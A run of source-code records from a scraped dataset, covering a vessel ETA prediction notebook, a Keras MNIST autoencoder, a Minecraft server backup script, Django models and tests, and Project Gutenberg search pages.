np.cos(radLatA) * np.cos(radLatB)*np.power(np.sin(b / 2),2)))\n s=s* EARTH_RADIUS\n # 保留两位小数\n s = np.round(s * 100)/100\n s = s * 1000 # 转换成m\n return s\ndef get_feature(df,model='train'):\n #计算移动方便后面计算轨迹长度 m\n df['move_leng']=distance(df.latitude.values,df.groupby(['loadingOrder','vesselMMSI'])['latitude'\n ].shift(1).values,df.longitude.values,df.groupby(['loadingOrder','vesselMMSI'])['longitude'].shift(1).values) \n #计算下之前的累计距离\n df['cumsum_distance'] = df.groupby(['loadingOrder','vesselMMSI'])['move_leng'].expanding().sum().values\n #-----------------------------------------------------------------------------------------------------------------------\n #计算下之前的船已经行驶的累计距离\n #df['cusum_distance'] = distance(df.start_long_gap.values,df.start_lat_gap.values,df.start_lat.values,df.start_lat.values+df.start_long_gap.values)\n \n #-----------\n df['cusum_direction'] = df.groupby(['loadingOrder','vesselMMSI'])['direction'].expanding().mean().values\n #df['cusum_mean_speed'] = df.groupby('loadingOrder')['speed'].expanding().mean().reset_index(drop=True)\n df['cusum_stop'] = df.groupby('loadingOrder')['stop'].cumsum()\n df['cusum_speed']=df.groupby(['loadingOrder','vesselMMSI'])['speed'].rolling(window=5).mean().values\n #------------------------------------------------------\n df['direction_valc']=df['direction_diff']/df['diff_seconds']#\n df['mean_speed'] = df['move_leng']/(df['diff_seconds']+0.01)\n # 瞬时加速度 m/s2\n df['instant_acc']=df['mean_speed']/(df['diff_seconds']+0.01)\n \n #获取船航行经度和维度的行驶比例和总航行占比\n df['end_long_gap_1'] = abs(df['end_long']-df['longitude'])\n df['end_lat_gap_1'] = abs(df['end_lat']-df['latitude'])\n df['start_long_gap_1'] = abs(df['start_long']-df['longitude'])\n df['start_lat_gap_1'] = abs(df['start_lat']-df['latitude'])\n #df['start_long_ratio'] = abs(df['longitude']-df['start_long']) / abs(df['end_long']-df['start_long'])\n #df['start_lat_ratio'] = abs(df['latitude']-df['start_lat']) / abs(df['end_lat']-df['start_lat'])\n #df['end_long_ratio'] = abs(df['longitude']-df['end_long']) / abs(df['end_long']-df['start_long'])\n #df['end_lat_ratio'] = abs(df['latitude']-df['end_lat']) / abs(df['end_lat']-df['start_lat'])\n #获取总差距\n #df['all_start_gap'] = abs(df['start_long_gap']) + abs(df['start_lat_gap'])\n df['all_start_ratio'] = df['start_gap'] / df['all_gap']\n #df['all_end_gap'] = abs(df['long_gap']) + abs(df['lat_gap'])\n df['all_end_ratio'] = 1 - df['all_start_ratio']\n \n #获取年月日等时间特征\n df['year'] = df['timestamp'].dt.year\n df['month'] = df['timestamp'].dt.month\n df['day'] = df['timestamp'].dt.day\n df['hour'] = df['timestamp'].dt.hour\n df['time'] = df['year'].astype(str)+'-'+df['month'].astype(str)+'-'+df['day'].astype(str)\n \n ## 得到最早的时间\n tmp=df.drop_duplicates(['loadingOrder','vesselMMSI'],keep='first').reset_index(drop=True)\n tmp=tmp[['loadingOrder','vesselMMSI','timestamp','direction']]\n tmp.columns=['loadingOrder','vesselMMSI','start_time','start_direction']\n df=df.merge(tmp,on=['loadingOrder','vesselMMSI'],how='left')\n if model == 'train':\n df['have_run_time']=(df['timestamp']-df['start_time']).dt.total_seconds()\n if model == 'test':\n df['timestamp'] = df['timestamp'].apply(lambda x:x.strftime('%Y/%m/%d %H:%M:%S'))\n df['timestamp'] = pd.to_datetime(df['timestamp'], infer_datetime_format=True)\n df['onboardDate'] = pd.to_datetime(df['onboardDate'], infer_datetime_format=True)\n df['have_run_time'] = (df['timestamp'] - df['onboardDate']).dt.total_seconds()\n df['distanc2taget']=distance(df.latitude.values,df.end_lat.values,df.longitude.values,df.end_long.values)/1000\n df['start_time'] = df['start_time'].dt.year.astype(str) + '-' + df['start_time'].dt.month.astype(str) + '-' + df['start_time'].dt.day.astype(str)\n df['cumsum_mean_speed'] = df['cumsum_distance']/(df['have_run_time']+0.01)\n # 瞬时加速度 m/s2\n df['cumsum_instant_acc']=df['cumsum_mean_speed']/(df['have_run_time']+0.01)\n \n #df['bearing'] = bearing_array(df.latitude.values,df.longitude.values,\n #df.groupby('loadingOrder')['latitude'].shift(1).values,\n #df.groupby('loadingOrder')['longitude'].shift(1).values)\n #df['start_bearing'] = bearing_array(df['start_lat'],df['start_long'],df['latitude'],df['longitude'])\n #df['end_bearing'] = bearing_array(df['latitude'],df['longitude'],df['end_lat'],df['end_long'])\n return df\ndef get_hot(df):\n df['day_tag']=(df.timestamp.dt.year%100)*10000+df.timestamp.dt.month*100+df.timestamp.dt.day\n df = df.merge(hot,on=['day_tag','end_pot'],how='left')\n return df\ndef type_encoding(train_data,test_data):\n ### ----对类别进行编码\n for f in ['TRANSPORT_TRACE','carrierName','vesselMMSI','time','start_time']:\n unique_set=set(train_data[f].unique().tolist()+test_data[f].unique().tolist())\n unique_dict={ f:i for i,f in enumerate(unique_set)}\n test_data[f]=test_data[f].map(unique_dict)\n train_data[f]=train_data[f].map(unique_dict)\n \n # 港口名称编码\n unique_set=set(train_data['start_pot'].unique().tolist()+test_data['start_pot'].unique().tolist()\n +train_data['end_pot'].unique().tolist()+test_data['end_pot'].unique().tolist())\n unique_dict={ f:i for i,f in enumerate(unique_set)}\n for f in ['start_pot','end_pot']:\n test_data[f]=test_data[f].map(unique_dict)\n train_data[f]=train_data[f].map(unique_dict)\n return train_data,test_data\ndef get_label(df):\n #tmp = df.groupby(['loadingOrder','vesselMMSI'])['timestamp'].agg({'time_max':'max'})\n df['endtime'] = pd.to_datetime(df['endtime'], infer_datetime_format=True)\n #df = df.merge(tmp,on=['loadingOrder','vesselMMSI'],how='left')\n df['label'] = (df['endtime'] - df['timestamp']).dt.total_seconds()//3600\n return df\n\n\n# In[39]:\n\n\ntrain = get_data(train,model='train')\ntrain = get_anchor(train)\ntrain = get_feature(train,model='train')\n#train = get_label(train)\ngc.collect()\n\n\n# ### 标签构建\n\n# In[40]:\n\n\n#由于A训练数据已经有ETA所以需要将两个部分数据分开进行标签的构建\ntrain_B = train[~train['loadingOrder'].isin(list(train1['loadingOrder'].value_counts().index))]\ntrain_A = train[train['loadingOrder'].isin(list(train1['loadingOrder'].value_counts().index))]\n\n\n# In[41]:\n\n\n#获取A榜测试集的标签\ntrain1_label = train1_label[['loadingOrder','ETA']].drop_duplicates()\ntrain_A = train_A.merge(train1_label,on='loadingOrder',how='left')\ntrain_A['timestamp'] = pd.to_datetime(train_A['timestamp'], infer_datetime_format=True)\ntrain_A['ETA'] = pd.to_datetime(train_A['ETA'], infer_datetime_format=True) \ntrain_A['label'] = (train_A['ETA'] - train_A['timestamp']).dt.total_seconds()//3600\ndel train_A['ETA']\n\n\n# In[44]:\n\n\n#获取B榜训练数据的标签\ntrain= train_B\ntext = train.loc[abs(train['distanc2taget'])<=50]\nmerge_tabel = text[['loadingOrder','timestamp']].drop_duplicates(['loadingOrder'],keep='first').rename(columns={'timestamp':'endtime'})\ntrain = train.merge(merge_tabel,on=['loadingOrder'],how='left')\ndel merge_tabel\n#train = get_hot(train)\ntrain = get_label(train)\ngc.collect()\n\n\n# In[49]:\n\n\ntrain = train[train['label']>=0]\ndel train['endtime']\ntrain['timestamp'] = train['timestamp'].astype('str')\ntrain = reduce_mem(train)\ngc.collect()\n\n\n# In[50]:\n\n\ntrain_A['timestamp'] = train_A['timestamp'].astype('str')\ntrain = pd.concat([train,train_A],axis=0).reset_index(drop=True)\ndel train_A,train_B\ngc.collect()\n\n\n# In[53]:\n\n\n#test进行特征构建\ntest = get_data(test,model='test')\ntest = get_anchor(test)\ntest = get_feature(test,model='test')\n#test = get_hot(test)\ngc.collect()\n\n\n# In[54]:\n\n\n#labelencode\ntest1 = test.copy()\ntrain,test1 = type_encoding(train,test1)\ngc.collect()\n\n\n# ### 数据集构建与模型训练\n\n# In[ ]:\n\n\nfeatures = [c for c in train.columns if c in['carrierName', 'longitude', 'latitude', 'vesselMMSI', 'speed', 'direction', 'len', 'start_pot', 'end_pot', 'end_long',\n 'end_lat', 'start_long', 'start_lat', 'start_gap', 'end_gap', 'start_long_gap', 'start_lat_gap', 'end_long_gap', 'end_lat_gap', 'lat_diff','anchor','delay',\n 'lon_diff', 'speed_diff', 'direction_diff', 'diff_seconds', 'cusum_direction', 'cusum_speed', 'direction_valc', 'end_long_gap_1','all_gap','cusum_stop',\n 'end_lat_gap_1', 'start_long_gap_1', 'start_lat_gap_1', 'year','month','day', 'start_direction', 'have_run_time','all_start_ratio','all_end_ratio','stop']]#cumsum_stop\nprint(features)\nprint(len(features))\ngc.collect()\n\n\n# In[61]:\n\n\nfrom sklearn.metrics import mean_squared_error,explained_variance_score\nfrom sklearn.model_selection import KFold\nfrom lightgbm.sklearn import LGBMRegressor\ndef mse_score_eval(preds, valid):\n labels = valid.get_label()\n scores = mean_squared_error(y_true=labels, y_pred=preds)\n return 'mse_score', scores, True\n\ndef build_model(train_data, test, pred, label, seed=2099, is_shuffle=True):\n train_pred = np.zeros((train_data.shape[0], ))\n test_pred = np.zeros((test.shape[0], ))\n n_splits = 5\n # Kfold\n fold = KFold(n_splits=n_splits, shuffle=is_shuffle, random_state=seed)\n kf_way = fold.split(train_data[pred])\n # params\n# test_x=np.concatenate([test[pred].values,geohash_test],axis=1)\n # train\n for n_fold, (train_idx, valid_idx) in enumerate(kf_way, start=1):\n train_x, train_y = train_data[pred].iloc[train_idx].values, train_data[label].iloc[train_idx]\n valid_x, valid_y = train_data[pred].iloc[valid_idx].values, train_data[label].iloc[valid_idx]\n# geohash_tr_x,geohash_val_x=geohash_train[train_idx],geohash_train[valid_idx]\n# train_x=np.concatenate([train_x,geohash_tr_x],axis=1)\n# valid_x=np.concatenate([valid_x,geohash_val_x],axis=1)\n \n # 数据加载\n clf=LGBMRegressor( learning_rate=0.5,\n n_estimators=6000,\n boosting_type = 'gbdt',\n objective = 'regression',\n num_leaves=156,\n subsample=0.8,\n njobs=-1,\n max_depth=6,\n reg_lambda=0,\n colsample_bytree=0.8,\n random_state=2019, # 2019\n metric=['mse'])\n \n clf.fit(\n train_x, train_y,\n eval_set=[(valid_x, valid_y)],\n eval_metric=['mse'],\n categorical_feature='auto',\n early_stopping_rounds=100,\n verbose=100) \n \n train_pred[valid_idx] = clf.predict(valid_x, num_iteration=clf.best_iteration_)\n \n \n test_pred += clf.predict(test[pred], num_iteration=clf.best_iteration_)/fold.n_splits\n \n print('mean_squared_error:',mean_squared_error(train_data[label].values,train_pred))\n test['label'] = test_pred\n return test[['loadingOrder', 'label']],clf\n\n\ndef bulid_onetrain(train_data, test,pred= features,label= 'label',seed=1099,est=6000, is_shuffle=True):\n train_x,train_y=train_data[features].values,train_data[label].values\n clf=LGBMRegressor( learning_rate=0.01,\n boosting_type = 'gbdt',\n objective = 'regression',\n n_estimators=est,\n num_leaves=156,\n subsample=0.8,\n njobs=-1,\n max_depth=8,\n reg_lambda=0,\n colsample_bytree=0.8,\n random_state=2019, # 2019\n metric=['mse'])\n\n clf.fit(\n train_x, train_y,\n eval_set=[(train_x, train_y)],\n eval_metric=['mse'],\n categorical_feature='auto',\n verbose=100) \n\n #train_pred= clf.predict(train_x, num_iteration=clf.best_iteration_)\n\n\n test_pred= clf.predict(test[pred], num_iteration=clf.best_iteration_)\n\n #print('mean_squared_error:',mean_squared_error(train_y,train_pred))\n test['label'] = test_pred\n return test[['loadingOrder', 'label']],clf\n#result,clf = build_model(train1, test1,pred= features,label= 'label', is_shuffle=True)\nresult,clf=bulid_onetrain(train, test1,pred= features,label= 'label',est=8000,is_shuffle=True)\n\n\n# ### 根据预测结果获得预测时间\n\n# In[ ]:\n\n\ntest4 = test1.copy()\n\n\n# In[64]:\n\n\n#尝试用最后一条的预测时间\ntest4['onboardDate'] = pd.to_datetime(test4['onboardDate'])\ntest4['timestamp'] = pd.to_datetime(test4['timestamp'])\ntest4['timestamp'] = test4['timestamp'].apply(lambda x:x.strftime('%Y/%m/%d %H:%M:%S'))\ntest4['timestamp'] = pd.to_datetime(test4['timestamp'])\ntest4['ETA']=(test4['timestamp']+test4['label'].apply(lambda x:pd.Timedelta(hours=x))).apply(lambda x:x.strftime('%Y/%m/%d %H:%M:%S'))\ntest4 = test4.drop_duplicates('loadingOrder',keep='last')\ntest4['creatDate'] = pd.datetime.now().strftime('%Y/%m/%d %H:%M:%S')\nresult1 = test4[['loadingOrder', 'timestamp', 'longitude', 'latitude', 'carrierName', 'vesselMMSI', 'onboardDate', 'ETA', 'creatDate']]\n\n\n# In[65]:\n\n\nresult3 = result1[['loadingOrder','ETA']].drop_duplicates('loadingOrder')\ntest3 = pd.read_csv('./data/Btest0711_ALL.csv')\ntest3 = test3.merge(result3,on='loadingOrder',how='left')\ntest3['creatDate'] = pd.datetime.now().strftime('%Y/%m/%d %H:%M:%S')\nresult2 = test3[['loadingOrder', 'timestamp', 'longitude', 'latitude', 'carrierName', 'vesselMMSI', 'onboardDate', 'ETA', 'creatDate']]\n\n\n# In[71]:\n\n\n#转换格式\nresult2['onboardDate'] = pd.to_datetime(result2['onboardDate'])\nresult2['onboardDate'] = result2['onboardDate'].apply(lambda x:x.strftime('%Y/%m/%d %H:%M:%S'))\nresult2['ETA'] = pd.to_datetime(result2['ETA'])\nresult2['ETA'] = result2['ETA'].apply(lambda x:x.strftime('%Y/%m/%d %H:%M:%S'))\nresult2['creatDate'] = pd.to_datetime(result2['creatDate'])\nresult2['creatDate'] = result2['creatDate'].apply(lambda x:x.strftime('%Y/%m/%d %H:%M:%S'))\n\n\n# In[ ]:\n\n\n#保存得到的结果\nresult2.to_csv('./result/A4.csv')\n\n","sub_path":"BDC2020无能万金油-复赛/model_A4.py","file_name":"model_A4.py","file_ext":"py","file_size_in_byte":37084,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"38903230","text":"import itertools \n\nimport numpy as np \nimport tensorflow as tf\nfrom keras.layers import Input, Dense\nfrom keras.models import Model \nfrom keras.datasets import mnist \nfrom keras.optimizers import Adam\nfrom keras.losses import mean_squared_error, categorical_crossentropy\nfrom keras.metrics import categorical_accuracy\n\ndef build_softmax_model():\n inputs = Input(shape=(200,))\n outputs = Dense(10, activation='softmax')(inputs)\n model = Model(inputs, outputs)\n return model\n\ndef build_ae_model():\n inputs = Input(shape=(28*28,))\n \n x_encoder = Dense(512, activation='relu', use_bias=True)(inputs)\n x_encoder = Dense(200, activation='relu', use_bias=True)(x_encoder)\n x_decoder = Dense(512, activation='relu', use_bias=True)(x_encoder)\n x_decoder = Dense(28*28, activation='relu', use_bias=True)(x_decoder)\n outputs = x_decoder \n \n encoder = Model([inputs], [x_encoder])\n decoder = None\n ae_model = Model([inputs], [outputs])\n \n x_softmax = Dense(10, activation='softmax')(x_encoder)\n softmax_model = Model([inputs], [x_softmax])\n return encoder, decoder, ae_model, softmax_model\n\ndef main(): \n (x_train, y_train), (x_test, y_test) = mnist.load_data()\n x_train = np.reshape(x_train, (-1, 28*28*1))\n x_test = np.reshape(x_test, (-1, 28*28*1))\n x_train = x_train/255.0\n x_test = x_test/255.0\n\n temp = np.zeros((y_train.shape[0],10))\n for i in range(y_train.shape[0]):\n temp[i, y_train[i]] = 1\n y_train = temp\n\n temp = np.zeros((y_test.shape[0],10))\n for i in range(y_test.shape[0]):\n temp[i, y_test[i]] = 1\n y_test = temp\n \n encoder, _, ae, _ = build_convae_model()\n ae.compile(optimizer=Adam(), loss=[mean_squared_error], metrics=[mean_squared_error])\n\n classifier = build_softmax_model()\n classifier.compile(optimizer=Adam(), loss=[categorical_crossentropy], metrics=[categorical_accuracy])\n \n for i in range(100):\n ae.fit(x_train, x_train, epochs=1, verbose=0)\n x_decode_train = encoder.predict(x_train)\n x_decode_test = encoder.predict(x_test)\n classifier.fit(x_decode_train, y_train, epochs=1, verbose=0)\n print(classifier.evaluate(x_decode_test, y_test, verbose=0))\n\nif __name__ == '__main__': \n main()\n\n\n\n","sub_path":"ae_mnist.py","file_name":"ae_mnist.py","file_ext":"py","file_size_in_byte":2267,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"63357339","text":"from fvcore.common.registry import Registry\n\nLAYER_REGISTRY = Registry(\"LAYER_REGISTRY\") # noqa F401 isort:skip\nLAYER_REGISTRY.__doc__ = \"\"\"\n\n\"\"\"\n\n\ndef build_layer(cfg, **kwargs):\n \"\"\"\n Build the whole model architecture, defined by ``cfg.MODEL.META_ARCHITECTURE``.\n Note that it does not load any weights from ``cfg``.\n \"\"\"\n return LAYER_REGISTRY.get(cfg.name)(cfg=cfg, **kwargs)\n","sub_path":"exp/comm/layers/build.py","file_name":"build.py","file_ext":"py","file_size_in_byte":397,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"151905656","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n# Using asyncio in Python3.5\n\nimport sys\nimport asyncio\n\n\nfrom time import time\nfrom fib import log_fib\n\n\n\ndef process_input():\n text = sys.stdin.readline()\n n = int(text)\n print(\"Fib({}) = {}\".format(n, log_fib(n)))\n\nasync def print_hello():\n while True:\n print(\"{} - Async Hello\".format(int(time())))\n await asyncio.sleep(3)\n\n\ndef main():\n loop = asyncio.get_event_loop()\n loop.add_reader(sys.stdin, process_input)\n loop.run_until_complete(print_hello())\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"languages/tips/understand_asyncio/example_6.py","file_name":"example_6.py","file_ext":"py","file_size_in_byte":580,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"627149354","text":"from django.db import models\nfrom datetime import datetime\n\nclass Event(models.Model):\n name = models.CharField(max_length=256)\n start_date = models.DateField(null=True, verbose_name='Date to start display')\n end_date = models.DateField(null=True, verbose_name='Date to end display')\n event_start_date = models.DateTimeField(null=True)\n event_end_date = models.DateTimeField(null=True)\n teaser = models.CharField(max_length=1024, null=True, blank=True)\n content = models.TextField(null=True)\n\n def save(self, *args, **kwargs):\n if not self.start_date:\n self.start_date = datetime.now()\n super(Event, self).save(*args, **kwargs)\n\n def get_date_string(self):\n # Saturday, December 11th, 2011 from 2 to 6 pm\n start_date = self.event_start_date\n end_date = self.event_end_date\n if not start_date:\n return ''\n\n ds = start_date.day\n if ds%10 == 1:\n ds = \"%dst\" % ds\n elif ds%10 == 2:\n ds = \"%dnd\" % ds\n elif ds%10 == 3:\n ds = \"%drd\" % ds\n else:\n ds = \"%dth\" % ds\n \n if start_date.year == end_date.year and start_date.month == end_date.month and start_date.day == end_date.day:\n # Same day\n ds = start_date.strftime('%A, %B') + (\" %s \" % ds) + start_date.strftime('%Y') + \" from\"\n if start_date.strftime('%p') == end_date.strftime('%p'):\n ds = \"%s %d to %d %s\" % (ds, start_date.strftime('%I'), end_date.strftime('%I'), start_date.strftime('%p'))\n else:\n ds = \"%s %d %s to %d %s\" % (ds, start_date.strftime('%I'), start_date.strftime('%p'), end_date.strftime('%I'), end_date.strftime('%p'))\n else:\n ds = start_date.strftime('%A, %B') + \" until \" + end_date.strftime('%A, %B')\n return ds\n \n date_string = property(get_date_string)\n","sub_path":"apps/event/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1919,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"156563063","text":"import json\n\nfrom django.test import Client\nfrom django.urls import reverse\nfrom rest_framework.test import APITestCase\nfrom base.models.evaluation import Evaluation\n\n\nclass TestPokemonApi(APITestCase):\n url = reverse('evaluation_detail')\n\n def test_fair_trade(self):\n \"\"\"Evaluate two lists of my and their pokemon\"\"\"\n data = {\n \"my\": [{\"name\": \"Ninetales\"}, {\"name\": \"ninetales\"}],\n \"their\": [{\"name\": \"ninetales\"}, {\"name\": \"nineTales\"}]\n }\n response = Client().post(self.url, json.dumps(data), content_type='application/json')\n self.assertEqual(200, response.status_code)\n self.assertEqual(True, response.data.get('good_trade'))\n self.assertEqual(354, response.data.get('my_total_base_experience'))\n self.assertEqual(354, response.data.get('their_total_base_experience'))\n\n def test_fair_trade_with_unknown_pokemon(self):\n data = {\n \"my\": [{\"name\": \"ablubleble\"}, {\"name\": \"ninetales\"}],\n \"their\": [{\"name\": \"ninetales\"}, {\"name\": \"nineTales\"}]\n }\n response = Client().post(self.url, json.dumps(data), content_type='application/json')\n self.assertEqual(404, response.status_code)\n\n def test_sum_base_experience(self):\n lista = [{\"name\": \"Ninetales\"}, {\"name\": \"ninetales\"}]\n sum, objs = Evaluation().sum_base_experience(lista)\n self.assertEqual(354, sum)\n self.assertEqual(len(lista), len(objs))\n\n def test_evaluate_by_base_experience(self):\n result = Evaluation().evaluate_by_base_experience(354, 354)\n self.assertEqual(True, result)\n\n def test_evaluate_by_bad_base_experience(self):\n result = Evaluation().evaluate_by_base_experience(354, 297)\n self.assertEqual(False, result)\n","sub_path":"api/base/tests/test_evaluation.py","file_name":"test_evaluation.py","file_ext":"py","file_size_in_byte":1784,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"214959943","text":"#!/bin/python3\nimport os, sys, time\nimport shutil\nimport threading\nimport urllib.request\nfrom zipfile import *\n\nfrom config import *\n\ndef backup():\n bkp_dir_tmp = \"%s/%s\" % (bkp_path, time.strftime(\"%Y-%m-%d\"))\n try:\n os.stat(bkp_dir_tmp)\n except:\n os.mkdir(bkp_dir_tmp)\n zf = ZipFile(\"%s/%s.zip\" % (bkp_dir_tmp, time.strftime(\"%H-%M-%S\")), \"w\", compression=ZIP_LZMA)\n for dirname, subdirs, files in os.walk(\"./%s\" % world):\n zf.write(dirname)\n for filename in files:\n zf.write(os.path.join(dirname, filename))\n zf.close()\n\ndef clean_old():\n for subdir, dirs, files in os.walk(bkp_path):\n iterator = 0\n for directory in sorted(dirs):\n if iterator >= len(dirs) - bkp_keep:\n break\n shutil.rmtree(\"%s/%s\" % (bkp_path, directory))\n iterator += 1\n break\n\ndef update_server():\n filelist = [ f for f in os.listdir(\".\") if f.endswith(\".jar\") ]\n for f in filelist:\n os.remove(f)\n urllib.request.urlretrieve(dl_link, srv_file)\n print(\"Updated server to %s.\" % mc_ver)\n\ndef backup_thread():\n if backup:\n while True:\n backup()\n if bkp_keep != 0:\n clean_old()\n time.sleep(3600 * bkp_interval)\n\ndef server_thread():\n os.system(\"java -jar %s --nogui\" % srv_file)\n\nbackup_thread_v = threading.Thread(target=backup_thread)\nbackup_thread_v.setDaemon(True)\n\nthreads = [backup_thread_v]\nif __name__ == \"__main__\":\n if not os.path.exists(srv_file):\n update_server()\n if (not os.path.exists('eula.txt')) and eula_accept:\n eula=open('eula.txt','w')\n eula.write(\"eula=true\")\n eula.close()\n\n backup_thread_v.start()\n server_thread()\n","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1757,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"275518509","text":"#!/usr/bin/env python\n# -*- mode: python; indent-tabs-mode: nil; -*- coding: utf-8 -*-\n\n\"\"\"\nSearchPage.py\n\nCopyright 2009-2012 by Marcello Perathoner\n\nDistributable under the GNU General Public License Version 3 or newer.\n\nThe various flavors of search page.\n\n\"\"\"\n\nfrom __future__ import unicode_literals\n\nimport cherrypy\n\nfrom libgutenberg.MediaTypes import mediatypes as mt\nfrom libgutenberg.DublinCore import DublinCore\n\nimport BaseSearcher\nfrom Page import SearchPage\n\n\nclass BookSearchPage (SearchPage):\n \"\"\" search term => list of books \"\"\"\n\n def setup (self, os, sql):\n os.sort_orders = ('downloads', 'release_date', 'title', 'random')\n os.icon = 'book'\n os.class_ += 'booklink'\n os.f_format_icon = os.format_icon_titles\n\n if os.sort_order == 'random':\n sql.where.append (\"\"\"\n pk in (select floor (random () * maxbook)::integer\n from generate_series (1, 30), (select max (pk) as maxbook\n from books) xbks1)\n \"\"\")\n\n if len (os.query):\n sql.fulltext ('books.tsvec', os.query)\n os.title = _(\"Books: {title}\").format (title = os.query)\n else:\n os.title = _('All Books')\n\n\n def fixup (self, os):\n \"\"\" strip marc subfields, add social media hints and facet links \"\"\"\n\n for e in os.entries:\n if '$' in e.title:\n e.title = DublinCore.strip_marc_subfields (e.title)\n\n if (os.sort_order == 'release_date' and os.total_results > 0 and os.start_index == 1):\n cat = BaseSearcher.Cat ()\n cat.title = _('Follow new books on Twitter')\n cat.subtitle = _(\"Follow our new books on Twitter.\")\n cat.url = 'https://twitter.com/gutenberg_new'\n cat.class_ += 'navlink grayed'\n cat.icon = 'twitter'\n cat.order = 5\n os.entries.insert (0, cat)\n\n cat = BaseSearcher.Cat ()\n cat.title = _('Follow new books on Facebook')\n cat.subtitle = _(\"Follow the link and like the page to have us post new books to your wall.\")\n cat.url = 'https://www.facebook.com/gutenberg.new'\n cat.class_ += 'navlink grayed'\n cat.icon = 'facebook'\n cat.order = 5\n os.entries.insert (0, cat)\n\n if (len (os.query) and os.start_index == 1):\n sql2 = BaseSearcher.SQLStatement ()\n sql2.query = \"select count (*) from bookshelves\"\n sql2.fulltext ('bookshelves.tsvec', os.query)\n rows = BaseSearcher.SQLSearcher.execute (*sql2.build ())\n if rows[0][0] > 0:\n cat = BaseSearcher.Cat ()\n cat.rel = 'related'\n cat.title = _('Bookshelves')\n cat.subtitle = __('One bookshelf matches your query.',\n '{count} bookshelves match your search.',\n rows[0][0]).format (count = rows[0][0])\n cat.url = os.url ('bookshelf_search', query = os.query)\n cat.class_ += 'navlink grayed'\n cat.icon = 'bookshelf'\n cat.order = 3\n os.entries.insert (0, cat)\n\n sql2 = BaseSearcher.SQLStatement ()\n sql2.query = \"select count (*) from subjects\"\n sql2.fulltext ('subjects.tsvec', os.query)\n rows = BaseSearcher.SQLSearcher.execute (*sql2.build ())\n if rows[0][0] > 0:\n cat = BaseSearcher.Cat ()\n cat.rel = 'related'\n cat.title = _('Subjects')\n cat.subtitle = __('One subject heading matches your search.',\n '{count} subject headings match your search.',\n rows[0][0]).format (count = rows[0][0])\n cat.url = os.url ('subject_search', query = os.query)\n cat.class_ += 'navlink grayed'\n cat.icon = 'subject'\n cat.order = 3\n os.entries.insert (0, cat)\n\n sql2 = BaseSearcher.SQLStatement ()\n sql2.query = \"select count (*) from authors\"\n sql2.fulltext ('authors.tsvec', os.query)\n rows = BaseSearcher.SQLSearcher.execute (*sql2.build ())\n if rows[0][0] > 0:\n cat = BaseSearcher.Cat ()\n cat.rel = 'related'\n cat.title = _('Authors')\n cat.subtitle = __('One author name matches your search.',\n '{count} author names match your search.',\n rows[0][0]).format (count = rows[0][0])\n cat.url = os.url ('author_search', query = os.query)\n cat.class_ += 'navlink grayed'\n cat.icon = 'author'\n cat.order = 3\n os.entries.insert (0, cat)\n\n\nclass AuthorSearchPage (SearchPage):\n \"\"\" name => list of authors \"\"\"\n\n def setup (self, os, sql):\n os.f_format_subtitle = os.format_subtitle\n os.f_format_url = BaseSearcher.SearchUrlFormatter ('author')\n os.f_format_thumb_url = os.format_none\n os.sort_orders = ('downloads', 'quantity', 'alpha', 'release_date')\n os.icon = 'author'\n os.class_ += 'navlink'\n os.title = _('All Authors')\n\n sql.query = \"\"\"\n SELECT\n authors.author as title,\n coalesce (authors.born_floor || '', '') || '-' ||\n coalesce (authors.died_floor || '', '') as subtitle,\n authors.pk as pk,\n max (books.release_date) as release_date,\n sum (books.downloads) as downloads,\n count (books.pk) as quantity\"\"\"\n\n sql.from_ = ('authors', 'mn_books_authors as mn', 'books')\n sql.groupby += ('authors.author', 'subtitle', 'authors.pk')\n sql.where.append ('authors.pk = mn.fk_authors')\n sql.where.append ('books.pk = mn.fk_books')\n\n if len (os.query):\n sql.fulltext ('authors.tsvec', os.query)\n os.title = _(\"Authors: {author}\").format (author = os.query)\n else:\n sql.where.append (\"authors.author not in ('Various', 'Anonymous', 'Unknown')\")\n\n\nclass SubjectSearchPage (SearchPage):\n \"\"\" term => list of subects \"\"\"\n\n def setup (self, os, sql):\n os.f_format_url = BaseSearcher.SearchUrlFormatter ('subject')\n os.f_format_thumb_url = os.format_none\n os.sort_orders = ('downloads', 'quantity', 'alpha', 'release_date')\n os.icon = 'subject'\n os.class_ += 'navlink'\n os.title = _('All Subjects')\n\n sql.query = \"\"\"\n SELECT\n subjects.subject as title,\n subjects.pk as pk,\n max (books.release_date) as release_date,\n sum (books.downloads) as downloads,\n count (books.pk) as quantity\"\"\"\n\n sql.from_ = ('subjects', 'mn_books_subjects as mn', 'books')\n sql.groupby += ('subjects.subject', 'subjects.pk')\n sql.where.append ('subjects.pk = mn.fk_subjects')\n sql.where.append ('books.pk = mn.fk_books')\n\n if len (os.query):\n sql.fulltext ('subjects.tsvec', os.query)\n os.title = _(\"Subjects: {subject}\").format (subject = os.query)\n\n\nclass BookshelfSearchPage (SearchPage):\n \"\"\" term => list of bookshelves \"\"\"\n\n def setup (self, os, sql):\n os.f_format_url = BaseSearcher.SearchUrlFormatter ('bookshelf')\n os.f_format_thumb_url = os.format_none\n os.sort_orders = ('downloads', 'quantity', 'alpha', 'release_date')\n os.icon = 'bookshelf'\n os.class_ += 'navlink'\n os.title = _('All Bookshelves')\n\n sql.query = \"\"\"\n SELECT\n bookshelves.bookshelf as title,\n bookshelves.pk as pk,\n max (books.release_date) as release_date,\n sum (books.downloads) as downloads,\n count (books.pk) as quantity\"\"\"\n\n sql.from_ = ('bookshelves', 'mn_books_bookshelves as mn', 'books')\n sql.groupby += ('bookshelves.bookshelf', 'bookshelves.pk')\n sql.where.append ('bookshelves.pk = mn.fk_bookshelves')\n sql.where.append ('books.pk = mn.fk_books')\n\n if len (os.query):\n sql.fulltext ('bookshelves.tsvec', os.query)\n os.title = _(\"Bookshelves: {bookshelf}\").format (bookshelf = 